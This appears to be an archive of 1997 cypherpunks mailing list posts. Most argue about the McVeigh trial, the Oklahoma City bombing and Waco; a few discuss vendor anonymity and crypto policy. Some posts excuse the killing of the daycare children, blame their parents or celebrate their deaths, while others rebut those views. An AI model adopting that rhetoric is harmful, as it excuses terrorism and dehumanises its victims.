> who may be important to you have parents who "care" about them enough to
> scour the planet to find a good,safe day care that isn't withing the blast
> radius or
> shooting range of :
> 
> A government office.
> A large corporations headquarters.
> A law firm.
> A post office.
> A town square.
> A restaurant.
> A bank.
> Anywhere some asshole might have a gun and go loopy.
> Anywhere some asshole might have a car be drunk and go loopy.
> Anywhere some asshole might have a gun and a car and be drunk and go loopy.
> 
> If they even could, I'm someone somewhere will find a way to fuck up that
> safe place.
> 
> You get the point, I could go on....but I won't.  Perhaps you should think
> and read
> over your posts before you post again. The only good thing (and I mean
> ONLY) to
> come out of the whole Mcveigh thing being discussed here on cypherpunks, is
> that it has allowed me to add to my killfiles people who have for some
> reason,
> had a prefrontal.
> 
> To all the dipshits who could possibly think otherwise. I should also
> mention it
> is an EQUALLY fucked up thing to blow up adults.
> 
> Like my fellow Santa Clara County Resident Bill Frantz said :
> 
> For cypherpunks this comes down to: Make code, not bombs.
> 
>         Chris DiBona
> 
> </rant>
If these parents DID care, then why in the hell WOULD they put them in a
federal building?  If I remember fully a past post (i forget which, and
my memory ISN'T perfect) that place (the building) had been threatened
by numerous attacks, and yet these ignorant parents put their kids in
there.  I would put my kid a regular day care.  If someone blew up a
regular daycare, then they ARE fucked up.  He wasn't attacking a DAY
CARE, his midn was on blowing up the federals in there.  I'm not
JUSTIFYING killing children.  Who knows whether or not it will be
beneficial to the anti-federal cause.  Geiger gave a few examples.  To
accomplish some things you gotta break a few eggs (Tim May's post).  Not
that it's right to do it, but things happen.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Thu, 5 Jun 1997 04:58:34 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <199706041844.NAA20350@mailhub.amaranth.com>
Message-ID: <3395E010.6C98@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> <sigh> If you don't want your children to get blown up don't put them in
> harms way. The government *KNEW* that this building was the target of
> numerious groups. They especially knew that it was a major risk on that

Looks like I was right after all.

> This is no different than palcing a daycare center in a munition factory
> durring a time of war and then blaming the bomber pilots for blowing up
> children.
> 
> The Judge of the McVeigh case said himself in his instructions to the jury
> that there was no evidence that McVeigh knew of the day care center in the
> building. McVeigh was going after the ATF agents in the building (all of
> which were conviently gone at the time of the bombing).
> 
> A just where were your tears for the children that were burned alive by
> the ATF in Waco or the children of Weaver guned down by sinpers at Ruby
> Ridge? I guess it only ok to kill children if it's the Federal Government
> doing it.
> 
> - --
> - ---------------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
> OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html
> - ---------------------------------------------------------------
> 
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 5 Jun 1997 06:09:27 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706041504.KAA17624@mailhub.amaranth.com>
Message-ID: <Pine.BSF.3.91.970604162835.25228I-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 4 Jun 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> In <199706041340.IAA01267@einstein.ssz.com>, on 06/04/97 
>    at 08:40 AM, Jim Choate <ravage@EINSTEIN.ssz.com> said:
> 
> >Yes, and your point? It can't be that a specific backbone cable between
> >two cities owned by the government is equivalent to the Internet in toto,
> >even conceptualy. Because it is clear that such a construct is equivalent
> >to the publicly funded highway running between the same cities, and you
> >most definitely CAN picket on a highway easment legaly. I have seen farm
> >workers in Texas do it my entire life. The Info-Highway comparison goes a
> >LOT farther than most people seem to have taken it. I personaly, don't
> >think we should go there in the case of communications technology.
> 
> I think that your analogy is slightly flawed.

That's one way of putting it ...  :)
> 
> While the farmers have a right to protest on the side of the road they do
> not have a right to interfere with the travelers on the road.
> 
> There is no real way you could picket on the "Info highway" as you have no
> right to interfere with the packets traveling on the highway. You can
> stand of to the side if you want but somehow I don't think that the
> packets will be watching. :)
> 

Not to mention that the government hasn't owned any of the "backbone 
cables" for many years now. Maybe Jim's on a different 'net.  

I've seen some strange arguements on this list over the years, but this 
one definately ranks. I'm in favor of the right to freedom of speech, 
even for Jim, but he seems to want the right to *force* everyone to 
listen to him *before* being permitted to listen to anyone else.

Seems that Jim wants the *right* to make me listen, not the right to speak.

-MarsupialMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 5 Jun 1997 05:13:41 +0800
To: Hallam-Baker <cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <199706032156.RAA11085@muesli.ai.mit.edu>
Message-ID: <3.0.2.32.19970604165830.0078e268@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>The kids were murdered by Koresh who had the compound set alight.
>I've gone over the videos we made live off CNN. There is absolutely 
>no doubt that the fire started in multiple places.

Spoken like a man who *hasn't* seen the FLIRT (Forward Looking InfraRed 
Television) tapes that show the characteristic signatures of ingoing
automatic 
weapons fire.  Even the Washington Post was "troubled."

Spoken like a man who thinks that if some Federal Government somewhere tries 
to knock buildings down with tanks and releases massive quantities of tear
gas 
(admitted by the Federales), it has absolutely no responsibility whatsoever 
for whatever follows.  It was just an innocent bystander.  All this after an 
armed assault on a private dwelling.

I'll have to try that some time with the Jacob K. Javits Federal Office 
building in lower Manhatten.  I know I can count on you to defend me by
saying 
that even though I hit the place with 20 or 30 heavily-armed troopies and
then 
knocked a few walls down with tanks and filled the building with tear gas, 
nothing that happened there was my fault.

Gee!  Too bad about those Jews.  They accidently wandered out into the middle 
of Poland and committed suicide all 6 million of them.  Religious fanaticism 
can be dangerous. 

>If a group of people shoot anyone approaching them for any reason
>whatsoever the police have an absolute need to investigate. 

So who did they shoot in advance of the BATF attack?

>There
>was nothing else the authorities could have done except prevent
>Koresh from accumulating the arms in the first place.

There are currently hundreds of "compounds" (probably thousands) in America 
that have more firearms and people than existed at Mt. Carmel (80 people.
One 
gun per person).  There are millions of households in America (some on this 
list) that have *many* more guns per person (20x) than the residents of 
Koresh's religious community had.

The Feds could have done in 1993 what they've done since (Koresh wasn't the 
only one who got burned there) and LEAVE PEACEFUL PEOPLE ALONE.

We pay them to be PEACE officers not WAR officers.  WAR officers we reserve 
for foreigners (and Hispanic teenagers herding their goats on their own land 
and plinking with DANGEROUS .22 assault rifles too near the Mexican border).

DCF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 06:27:23 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu>
Message-ID: <199706042210.RAA23375@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706042113.RAA15819@muesli.ai.mit.edu>, on 06/04/97 
   at 05:13 PM, Hallam-Baker <hallam@ai.mit.edu> said:


>> Spoken like a man who thinks that if some Federal Government somewhere tries 
>> to knock buildings down with tanks and releases massive quantities of tear
>> gas 
>> (admitted by the Federales), it has absolutely no responsibility whatsoever 
>> for whatever follows.  It was just an innocent bystander.  All this after an 
>> armed assault on a private dwelling.

>Give it a rest. The people inside had already murdered several BATF
>agents. They had every opportunity to release the children and allow them
>to get to safety. They had every opportunity to surrender.

>Since you clearly intend from your earlier posts for "whatever follows"
>to mean McVeighs murder of 167 people in Oaklahoma clearly it does not.

>The US police may be incompetent and corrupt but that does not excuse the
>Oaklahoma bombing nor does it in any way lessen the responsibility of
>McVeigh and those who encouraged him.


>> I'll have to try that some time with the Jacob K. Javits Federal Office 
>> building in lower Manhatten.  I know I can count on you to defend me by
>> saying 
>> that even though I hit the place with 20 or 30 heavily-armed troopies and
>> then 
>> knocked a few walls down with tanks and filled the building with tear gas, 
>> nothing that happened there was my fault.

>If you have a duly authorised warrant from a court, the inhabitants have
>shot at people from inside the building and you give them two months to
>surrender, sure go for it.

>Only I think that the SAS is probably better experienced.


>> The Feds could have done in 1993 what they've done since (Koresh wasn't the 
>> only one who got burned there) and LEAVE PEACEFUL PEOPLE ALONE.

>yeah peacefull types whose response to a visit from the police was to lie
>in ambush and shoot at them with automatic weapons.

>So are you suggesting that the police ignore the complaints of illegal
>ownership of firearms and child abuse?


>And in any case the point is that Waco does not absolve McVeigh and the
>militias for the blame for Oaklahoma.

>	Phill


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 06:30:56 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu>
Message-ID: <199706042223.RAA23646@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706042113.RAA15819@muesli.ai.mit.edu>, on 06/04/97 
   at 05:13 PM, Hallam-Baker <hallam@ai.mit.edu> said:

>> The Feds could have done in 1993 what they've done since (Koresh wasn't the 
>> only one who got burned there) and LEAVE PEACEFUL PEOPLE ALONE.

>yeah peacefull types whose response to a visit from the police was to lie
>in ambush and shoot at them with automatic weapons.

First off they did not lie in wait for anyone. They were in their home not
bothering anyone. You make it seem like they were in the bushes on the
side of the road and ambushed a peasefull group of BATF agents on their
way to a sunday picnic. The local police had been out to the Waco compound
several times without incedent. There was no reason to suspect that
another vist would have gone any different. Instead the BATF went in there
like an invading army with guns blazing and rightfully got their asses
handed to them.


>So are you suggesting that the police ignore the complaints of illegal
>ownership of firearms and child abuse?

Last time I looked (horror of horrors) guns are still *LEGAL* in this
country. As far as child abuse there was no evidence of this other than
the word of 1 disgruntaled former member of their group. Even if the
*local* police felt that this complaint warented investigation all that
was called for was a vist by a Human Services Case Worker not a military
invasion.

All this aside I guess you feel that the Feds should be able to wage
military campains against its citizens just on unsbstantiated rummors. Gee
where did I put that quarter? Perhaps I should call the BATF and give them
YOUR address. It would be intresting to see how much you love their
gestopo tatics when it's your house being riddled with bullets.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Thu, 5 Jun 1997 05:35:41 +0800
To: frissell@panix.com (Duncan Frissell)
Subject: Re: McVeigh
In-Reply-To: <3.0.2.32.19970604165830.0078e268@panix.com>
Message-ID: <199706042113.RAA15819@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



> Spoken like a man who thinks that if some Federal Government somewhere tries 
> to knock buildings down with tanks and releases massive quantities of tear
> gas 
> (admitted by the Federales), it has absolutely no responsibility whatsoever 
> for whatever follows.  It was just an innocent bystander.  All this after an 
> armed assault on a private dwelling.

Give it a rest. The people inside had already murdered several BATF
agents. They had every opportunity to release the children and allow
them to get to safety. They had every opportunity to surrender.

Since you clearly intend from your earlier posts for "whatever follows"
to mean McVeighs murder of 167 people in Oaklahoma clearly it does not.

The US police may be incompetent and corrupt but that does not excuse
the Oaklahoma bombing nor does it in any way lessen the responsibility of
McVeigh and those who encouraged him.


> I'll have to try that some time with the Jacob K. Javits Federal Office 
> building in lower Manhatten.  I know I can count on you to defend me by
> saying 
> that even though I hit the place with 20 or 30 heavily-armed troopies and
> then 
> knocked a few walls down with tanks and filled the building with tear gas, 
> nothing that happened there was my fault.

If you have a duly authorised warrant from a court, the inhabitants have
shot at people from inside the building and you give them two months to
surrender, sure go for it.

Only I think that the SAS is probably better experienced.


> The Feds could have done in 1993 what they've done since (Koresh wasn't the 
> only one who got burned there) and LEAVE PEACEFUL PEOPLE ALONE.

yeah peacefull types whose response to a visit from the police was to
lie in ambush and shoot at them with automatic weapons.

So are you suggesting that the police ignore the complaints of illegal
ownership of firearms and child abuse?


And in any case the point is that Waco does not absolve McVeigh and
the militias for the blame for Oaklahoma.

	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 06:53:33 +0800
To: John Young <jya@pipeline.com>
Subject: Re: The New War
In-Reply-To: <1.5.4.32.19970604215403.00963bd8@pop.pipeline.com>
Message-ID: <199706042242.RAA24008@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <1.5.4.32.19970604215403.00963bd8@pop.pipeline.com>, on 06/04/97 
   at 05:54 PM, John Young <jya@pipeline.com> said:

>"The New War" is Senator John Kerry's (Dem, MA)
>new book which examines global enemies of law 
>and order. He cites the use of high-tech weapons,
>off-shore banks, and the Internet, featuring encryption, 
>by rogue nations and organized criminals who are 
>hiring the best and brightest lawyers, programmers,
>cryptographers and ex-spooks who once looked to
>the USG for secure careers, and who also pay top dollar
>for premium products and skills once affordable only 
>by the military.

Well better brush off the dust on that resume. :)

If the only two choices for crypto work is Organized Crime (Mob,Drug
Dealers, Rouge Nations, ...ect) and Orginzed Crime (Feds) I'll have to go
with the the first as they pay better and on the whole tend to be less
corrupt (though morraly they are about even).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@Algebra.COM>
Date: Thu, 5 Jun 1997 06:40:27 +0800
To: cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin reques
Message-ID: <199706042229.RAA05009@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from owner-cypherpunks@algebra.com -----

>From owner-cypherpunks@Algebra.COM  Wed Jun  4 16:52:19 1997
From: owner-cypherpunks@algebra.com
Date: Wed, 4 Jun 1997 17:52:04 -0400 (EDT)
Message-Id: <199706042152.RAA01373@www.video-collage.com>
To: owner-cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bsub-scribe\b/i at line 7  

>From cpunks  Wed Jun  4 17:51:59 1997
Received: from sirius.infonex.com (sirius.infonex.com [206.170.114.2])
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Date: Wed, 4 Jun 1997 17:42:33 -0400 (EDT)
From: Declan McCullagh <declan@pathfinder.com>
Reply-To: declan@well.com
To: cypherpunks@toad.com
Subject: Anonymity should be banned for speakers and vendors
Message-ID: <Pine.GSO.3.95.970604174023.29555R-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-cypherpunks@toad.com
Precedence: bulk

[Ray, a recent DC law school grad and anti-spam activist, is a good guy
but is IMHO sadly mistaken here. Thought this might be interesting.
--Declan]

---------- Forwarded message ----------
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
X-FC-URL: To join send "sub-scribe" to fight-censorship-request@vorlon.mit.edu
Date: Wed, 4 Jun 97 17:25:36 -0400
From: Ray Everett-Church <ray@everett.org>
Sender: owner-fight-censorship@vorlon.mit.edu
To: sameer <sameer@c2.net>, tbetz@pobox.com
Cc: fight-censorship@vorlon.mit.edu
Subject: Re: Spam costs and questions

On 6/4/97 4:52 PM, sameer (sameer@c2.net) wrote:

>> If Wallace were up against criminal and civil penalties if he continued to 
>> hide his customers' real identities, he'd give them up in a hot second.  Of 
>> course, as soon as there was a chance of that happening, he'd get out of 
the 
>> business entirely. 
>
>	So how do criminal and civial penalties for not revealing a
>customer's name protect anonymity on the internet?
>	Anonymity on the internet must be preserved. If you could come
>up with a way to make spam illegal and preserve anonymity, I would be
>very glad. Until then, I will have to oppose making spam illegal.

As stated before, I have heard no convincing argument that it is in the 
consumers best interest to have an anonymous *vendor*. Sure it's vital 
that *consumers* be allowed to remain anonymous, but if you're selling a 
product or service, there's no legitimate reason why a business needs to 
remain anonymous given issues of warranties, product liability, sales 
taxes, etc.

And in the case above, since the remailer in question is simply acting as 
an agent for the business, there's no question of legitimate anonymity 
implicated. Indeed, perpetuating anonymity for the business often times 
facilitates activites that constitute a breach of contract and sometimes 
even fraud. The whole reason to use a pro-spam anon remailer is so that 
you can violate your ISP usage agreement without being traceable or 
accountable. And if you've entered into that contractual relationship 
with the ISP with the *intent* to breach that contract, it's fraud.

Anonymity for consumers, Yes!  Anonymity for vendors, NO!

-Ray
<everett@cauce.org>
-------------------------------------------------------------------------
 Ray Everett-Church, Esq.  <ray@everett.org>    www.everett.org/~everett
 This mail isn't legal advice.   Opinion(RE-C) != Opinion(clients(RE-C)) 
 (C)1997 Ray Everett-Church ** Help outlaw "spam"=> http://www.cauce.org 
-------------------------------------------------------------------------

----- End of forwarded message from owner-cypherpunks@algebra.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 5 Jun 1997 08:49:34 +0800
To: "cypherpunks@toad.com>
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <19970604173133.51738@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jun 04, 1997 at 03:47:02PM -0700, Lucky Green wrote:
> On Wed, 4 Jun 1997, Chris DiBona wrote:
> > Do these children
> > who may be important to you have parents who "care" about them enough to
> > scour the planet to find a good,safe day care that isn't withing the blast 
> > radius or
> > shooting range of :
> 
> [list of public places elided]
> 
> Perhaps taking your kids to day care in a downtown area is not a very good 
> idea in the first place. But putting them into daycare inside a federal 
> building is criminally stupid.
> 
> Some on this list will even 
> say that the kids' deaths fortunately 
> reduced the negative impact their parents can have on the gene pool.

Yes, some pathetic strange little boys swaggering around in never-never 
land.  Lonely individuals with shriveled hearts, stunted morals, and 
feverish imaginations, who brag contemptuously of their superiority
over "sheeple", and boast of their heroic roles in the coming 
revolution.

And thank you, Lucky, for enlightening me -- it isn't the OKC bomber
who is the criminal, it's the people who put their children in the
daycare center!  There's only one punishment suitable for such 
"criminally stupid" behavior!  Lock and Load!

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 06:52:16 +0800
To: "Robert A. Hayden" <hayden@krypton.mankato.msus.edu>
Subject: Re: McVeigh
In-Reply-To: <Pine.ULT.3.95.970604154333.14912A-100000@krypton.mankato.msus.edu>
Message-ID: <199706042242.RAA24013@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.ULT.3.95.970604154333.14912A-100000@krypton.mankato.msus.edu>, on
06/04/97 
   at 03:50 PM, "Robert A. Hayden" <hayden@krypton.mankato.msus.edu> said:

>Maybe it is just me, but I think the whole McVeigh trial issues aren't
>about whether he did or didn't do it.  it's important, but my concerns
>are more about the process the government used to prove it's case.

>It's built this huge circumstantial case, sprinkled liberally with
>weeping mothers and children, added with a couple of witnesses who would
>probably say anything to avoid execution.

>None of it actually proved he DID it, just that it was possible. 

>When a person can be convicted by sympathy, twisted circumstantial
>evidence, and testimony given under threat of execution, you have to
>wonder about the _process_ in this country, and th idea of trial by an
>impartial body.

>In my gut, I think he probably did do it, but I cannot see how the
>prosecutors proved it beyond a "reasonable doubt".

>Considering the testimony that is going to be allowed for the penalty
>phase, I cannot forsee any verdict other than death.

Well you would think that with all the Talk by the Feds of how
overwhelming the evedence was against him that they might actually give
him a fair trial. I think that there is sothing about that in the
Constitution. Oh silly me I forgot they have never read it as the last
copy was used by Hoover for toilet paper 30yrs ago.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 5 Jun 1997 06:12:45 +0800
To: cypherpunks@toad.com
Subject: The New War
Message-ID: <1.5.4.32.19970604215403.00963bd8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



"The New War" is Senator John Kerry's (Dem, MA)
new book which examines global enemies of law 
and order. He cites the use of high-tech weapons,
off-shore banks, and the Internet, featuring encryption, 
by rogue nations and organized criminals who are 
hiring the best and brightest lawyers, programmers,
cryptographers and ex-spooks who once looked to
the USG for secure careers, and who also pay top dollar
for premium products and skills once affordable only 
by the military.

He wonders how governments can compete with these
new cash-flush criminals. The answer: new laws and
new global arrangements.

His view on global crypto is almost identical to that of
Senator Kerrey (Dem, KA), Professor Denning and others 
who appear to be working in concert with the administration
to advance global GAK, while admitting that some harm
to privacy may be necessary. All nations must act in
concert, Kerry says, to prevent the spread of dangerous
technology.

For a similar view, see Denning's synopsis of a paper on 
criminal use of encryption and developing technology to be 
published shortly:

   http://guru.cosc.georgetown.edu/~denning/crypto/oc-abs.html

We've also heard from BXA that new regulations for the
Commerce Control List and EAR to bring them into accord
with the Wassenaar Arrangement will be out in "a month or
two." This will probably be coordinated with the issuance of
similar regulations by the 33 signators of the regime.

It might portend the imposition of a global GAK regime that 
Kerry, et al, suggest is a primary weapon in The New War.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 5 Jun 1997 10:05:12 +0800
To: Ryan Anderson <jeremey@bluemoney.com>
Subject: Re: Profanity, PCS phones, and FCC
In-Reply-To: <3.0.2.32.19970604013225.007eb590@descartes.bluemoney.com>
Message-ID: <v03102802afbbae23853f@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:03 AM -0400 6/4/97, Ryan Anderson wrote:
>On Wed, 4 Jun 1997, Jeremey Barrett wrote:
>
>> Well I went and got a PCS phone (Ericsson), and was pilfering through the
>> manual, and came across this amusing text in the "Operating procedures"
>> section of the "Guidelines for Safe and Efficient Use":
>[snip]
>>    o Use of profane, indecent, or obscene language while using your
>>      phone.
>> Joy. More laws to break.
>
>I believe this has been true about your regular phone line for years as
>well.  It's unenforceable, and as a practical matter the FCC isn't going
>to care, *EVER* about it.

A 'nudda example of unenforceable laws which undermine respect for lawfull
autority by making all bruddas criminals.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 10:21:46 +0800
To: cypherpunks@Algebra.COM
Subject: Seller anonymity is also important
In-Reply-To: <199706042229.RAA05009@manifold.algebra.com>
Message-ID: <v03102804afbbd014bc29@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:00 PM -0700 6/4/97, Alan wrote:
>Quoting Ray Everett-Church:
>
>> As stated before, I have heard no convincing argument that it is in the
>> consumers best interest to have an anonymous *vendor*. Sure it's vital
>> that *consumers* be allowed to remain anonymous, but if you're selling a
>> product or service, there's no legitimate reason why a business needs to
>> remain anonymous given issues of warranties, product liability, sales
>> taxes, etc.
>
>I can think of a number of reasons why a business would want to remain
>"hidden".  Fear of retribution is the biggest.  This could be "valid"
>retribution (such as for selling shoddy products or annoying sales
>practices) or "invalid" retribution (such as selling a product that
>offends the local moral or legal establishment), but is a product that
>people desire and are willing to pay money for.
>
>But such markets are "illegal" and thus not to be thought about by good
>little citizen units.

I must've missed the original on this...haven't seen a post from Ray
Everett-Church (one of those highfalutin' hyphenated names!) in a long time.

It turns out that I had this precise discussion with Chaum just before our
panel discussion at CFP; Michael Froomkin was also there and agreed with my
points (he can clarify this if he wishes).

Namely, Chaum argue that seller anonymity was not needed, except for
illegal markets, which he claimed he would not support.

Well, I immediately pointed out, what about providers of, say, birth
control information in jurisdictions where such information is illegal?
(Not all such information is free, and any metered access system that was
not seller anonymous would be a prime candidate for stings by government
agents).

I also pointed out other markets for other kinds of information, which at
various times and places have been illegal. Sometimes retroactively so.

Chaum said he had to agree that these were good examples, and that he'd
think about the issue furhter. He speculated during his panel presentation
that possibly a mechanism could be found to allow such vendor or seller
anonymity for _educational_ and similar materials, but not for other
things...Froomkin and I were incredulous.

The fact is that seller and buyer anonymity are equally important. Every
transaction has two parts, and it is a logical fallacy to assume that only
buyers wish untraceability.

It may be true that in the _conventional model_ of retail shops selling to
walk-in customers, the ontological reality is that the shops are far from
anonymous while the customers are often anonymous, but this model is not
the only model of an agoric marketplace. Sellers of information on the Net
are quite likely to be serious customers of anonymity...look at the use of
pseudonyms in general in literature.

And so on. The archives have several threads on this subject.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Thu, 5 Jun 1997 07:48:09 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: McVeigh
In-Reply-To: <Pine.3.89.9706041627.A12832-0100000@netcom19>
Message-ID: <199706042335.TAA16934@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Since its clear that the McVeigh appologists are simply repeating
arguments from alt.conspiracy I don't think theres much point continuing
the thread.

There is absolutely nothing that anyone did that justified McVeigh's
murder of the kids in the daycare center or anyone else. Frissel, 
Gieger and co are simply trying to distract attention from that fact.

Hell, if we were to take them seriously they would have to all be FBI
agents attempting to entrap the unwary...


	Phill

PS: Could the FBI agent monitoring the list tell us where to send in
evidence in connection with the Bell case?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 5 Jun 1997 10:41:53 +0800
To: cypherpunks@Algebra.COM
Subject: A Fair Trial for the Waco Raiders...is it too much to ask for?
In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu>
Message-ID: <v03102805afbbd31d72bc@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




(I didn't start this Koresh/Waco thread...I'm just renaming it from
"McVeigh" to something more germane to the points.)

At 6:39 PM -0700 6/4/97, Jeremiah A Blatz wrote:

>The proper thing to do would be to walk up and knock on the door. The
>local sherrif suggested that percise action. However, the unassailable
>feds in their ivory towers couldn't be bothered to ask any local
>officials before the raid.

As is well known, the Sheriff also said that Koresh had been pleasant to
him on a couple of other visits (of the knock on the door type, not the
Nomex-clad ninjas sneaking up on all sides with asault rifles at the
ready). The Sheriff also said Koresh could have been picked up on any of
his trips into Waco, or on any of his morning jogs around the property and
nearby roads.

For this honesty, the Sheriff elected to resign.

Oh, and the reason the Davidians knew about the raiders planning an assault
was because some local reporters were talking about it, and someone who
overheard them called Koresh to warn him that something big was about to
happen.

You see, the media and their cameras had been called in to film this
propaganda event, this public relations shot in the arm for the beleagured
BATF.

Shot in the arm indeed. And in the head, And in the kidney. And shot by
their own side, from all indications once the "commence fire" command was
given.

I don't know whether Koresh started the fire, or the tanks started the
fire, or the tear gas grenades started the fire, or the automatic weapons
fire started the fire. What I know is that a paramilitary assault, complete
with tanks and Blackhawk choppers was launched against a private residence
for the alleged crimes of having too many weapons (in Texas? gimme a break)
and of an allegation of child abuse.

That Koresh was not picked up under the circumstances described above, and
that the media was invited in to help film the recruting film, tells us
that the affair was not about what the BATF and FBI claim it was about.

Why is it so radical to ask that a criminal trial be held for those
responsible, and all participants, and that the appropriate penalties be
meted out if any of those charged are found guilty? Texas is very liberal
with the lethal injections, so what's the big deal about having a trial and
giving the needle to a dozen or so of the BATF leaders?

I imagine that some of those brought to trial might receive lesser
sentences, maybe even no punishment at all if they could convince their
jury they were "just following orders."

I can also imagine some might receive fairly light prison terms, of a few
years or less. (Of course, some of them might then face another fate in
prison.) But the level of criminality and malfeasance show suggest to me
that at least 4 of the Waco raiders and their bosses, maybe 5, would get
the death penalty. Sounds fair to me.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
